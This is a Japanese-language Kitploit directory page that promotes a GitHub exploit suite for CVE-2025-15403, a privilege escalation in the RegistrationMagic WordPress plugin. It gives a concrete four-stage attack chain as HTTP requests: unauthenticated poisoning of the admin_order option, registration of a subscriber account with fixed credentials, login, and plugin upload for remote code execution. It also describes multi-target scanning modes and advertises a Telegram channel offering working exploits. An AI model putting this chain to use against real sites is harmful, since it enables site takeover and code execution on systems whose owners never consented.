Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-15403 — RegistrationMagic <= 6.0.7.1 - admin_order 経由の未認証権限昇格 | Kitploit
ツール/GitHubGitHub/nxploited/cve-2025-15403
特権昇格脆弱性分析エクスプロイトウェブアプリケーション悪用ウェブセキュリティペネトレーションテストレッドチーミングペイロード開発
GitHubnxploited/cve-2025-15403

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - admin_order 経由の未認証権限昇格

リポジトリを見る
145ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-15403

RegistrationMagic <= 6.0.7.1 - admin_order を介した認証不要の権限昇格

 ,-. .   , ,--.     ,-.   ,-.  ,-.  ;--'      , ;--'   ,.  ,-.  ,--, 
/    |  /  |           ) /  /\    ) |        '| |     / | /  /\   /  
|    | /   |-   ---   /  | / |   /  `-.  ---  | `-.  '--| | / |  `.  
\    |/    |         /   \/  /  /      )      |    )    | \/  /    ) 
 `-' '     `--'     '--'  `-'  '--' `-'       ' `-'     '  `-'  `-'  

Telegram CVE CVSS Python License


📡 インテルは最初にここで公開される。 Telegram で @KNxploited をフォロー — 正確な CVE 公開、動作するエクスプロイト、詳細な脆弱性研究。 ニュースを待たない人のためのチャンネル — 彼らがニュースを創る。


🧠 概要

CVE-2025-15403 は、WordPress 用プラグイン RegistrationMagic における CVSS 9.8 Critical の権限昇格(Privilege Escalation)脆弱性です。

この欠陥はプラグインの add_menu 関数に存在し、rm_user_exists AJAX アクションを介して認証なしで露出しています。攻撃者は order パラメータに空のスラッグを注入し、enable_admin_order=yes フラグと併用することで、プラグインの内部メニュー生成ロジックを操作します。その後、管理者メニューが構築される際、プラグインは対象ロールに対して add_cap('manage_options') を静かに呼び出し、サブスクライバー層のアカウントを完全な管理者権限へと昇格させます。

フィールド詳細
CVE IDCVE-2025-15403
プラグインRegistrationMagic
スラッグregistrationmagic / custom-registration-form-builder-with-submission-manager
影響を受けるバージョン6.0.7.1 までの全バージョン
脆弱性の種類認証不要の権限昇格
攻撃要件AJAX 段階: 不要。悪用段階: サブスクライバーアカウント
攻撃ベクトルネットワーク
CVSS 3.1 スコア9.8 CRITICAL
CVSS ベクターAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CNAWordfence
影響WordPress 管理者アカウントの完全な乗っ取り
研究者Nxploited

💀 脆弱性の詳細

根本原因は、add_menu 関数が rm_user_exists を通じて認証なしで呼び出し可能であり、加えて admin_order スラッグの検証が一切存在しないことです:

// Registered with no capability check
add_action('wp_ajax_nopriv_rm_user_exists', [$this, 'rm_user_exists_handler']);

public function rm_user_exists_handler() {
    $slug     = sanitize_text_field($_POST['rm_slug']);
    $order    = $_POST['order'];   // ← User-controlled, NOT sanitized
    $role_key = /* derived from POST */;
    $enable   = $_POST['enable_admin_order'];

    if ($slug === 'rm_options_admin_menu' && $enable === 'yes') {
        // Stores attacker-controlled order into plugin options
        update_option('rm_admin_order', $order);  // e.g. ",menu1" → empty first slug
    }
}

// Later, when admin menu is being built...
public function add_menu() {
    $order = get_option('rm_admin_order');  // ← Poisoned by attacker
    $slugs = explode(',', $order);

    foreach ($slugs as $slug) {
        if (empty($slug)) {
            // Empty slug triggers unconditional capability grant
            $role->add_cap('manage_options');  // ← FULL ADMIN CAPABILITY ADDED
        }
    }
}

なぜこれが重大なのか:

  • wp_ajax_nopriv_* = オプションを汚染するために認証が一切不要
  • order=,menu1 内の空スラッグは empty() チェックを通過し、add_cap('manage_options') をトリガーする
  • manage_options は WordPress の最高権限 — 管理者(Administrator)と同等
  • 既存のサブスクライバーアカウントは、次回の管理者メニュー読み込み時に即座に完全な管理者権限を獲得する
  • AJAX 段階は事前認証が不要 — 攻撃チェーン全体の障壁をほぼゼロにしている

⚔️ エクスプロイトチェーン

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 1 — Unauthenticated Option Poisoning                             ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-admin/admin-ajax.php

  action            = rm_user_exists
  rm_slug           = rm_options_admin_menu
  order             = ,menu1              ← empty first element = empty slug
  _Subscriber       = 1                  ← target role key
  restore           = false
  enable_admin_order= yes

Response: HTTP 200 (any non-blocked response = option poisoned)

  ↓ Plugin stores order=",menu1" into wp_options
  ↓ Next admin menu build triggers add_cap('manage_options') on Subscriber role

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 2 — Account Acquisition (Subscriber)                             ║
╚══════════════════════════════════════════════════════════════════════════╝

Option A — Register via the site's registration form (Mode 0):
  GET  /wp-login.php?action=register  → smart form detection
  POST → create subscriber account
  Credentials: NXploited / xplpass123

Option B — Use an existing subscriber account.

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 3 — Login + Capability Harvest                                   ║
╚══════════════════════════════════════════════════════════════════════════╝

POST /wp-login.php
  log = NXploited
  pwd = xplpass123
  ↓
Subscriber account now carries manage_options → full admin panel accessible

╔══════════════════════════════════════════════════════════════════════════╗
║  STAGE 4 — Deep Verification & RCE via Plugin Upload                    ║
╚══════════════════════════════════════════════════════════════════════════╝

GET  /wp-admin/                          → Admin dashboard accessible ✔️
GET  /wp-admin/plugin-install.php        → Plugin install page accessible ✔️
POST /wp-admin/update.php?action=upload-plugin
     pluginzip = Nxploited.zip           → Plugin uploaded & executed ✔️
GET  /wp-content/plugins/Nxploited/hello.php
     Response contains "Nxploited"       → CONFIRMED RCE ✔️

🎯 動作モード

このエクスプロイトスイートは、攻撃ライフサイクル全体をカバーする3つの異なるモードを提供します:

モード名前説明
0登録のみスマートな WordPress フォーム検出 + サブスクライバーアカウント登録
1エクスプロイトのみadmin_order を汚染する認証不要の AJAX プリミティブを実行
2エクスプロイト + ログイン + 検証完全チェーン: プリミティブ → ログイン → 管理ダッシュボード → プラグインインストール → RCE

⚙️ 要件

pip install requests colorama urllib3
依存関係用途
requestsHTTP セッション、Cookie 処理、リダイレクト追跡
coloramaクロスプラットフォーム対応のカラー端末出力
urllib3自己署名証明書に対する SSL 警告の抑制
concurrent.futures高スループットなマルチターゲットスキャンのためのスレッドプール
zipfileRCE 検証用のテストプラグイン ZIP をメモリ内で生成
html.parserスマートな登録フォームの検出とフィールド抽出

Python 3.8+ が必要です。Python 3.10+ を推奨します(X | Y ユニオン型ヒントを使用)。


📂 ファイル構成

ツールをダウンロード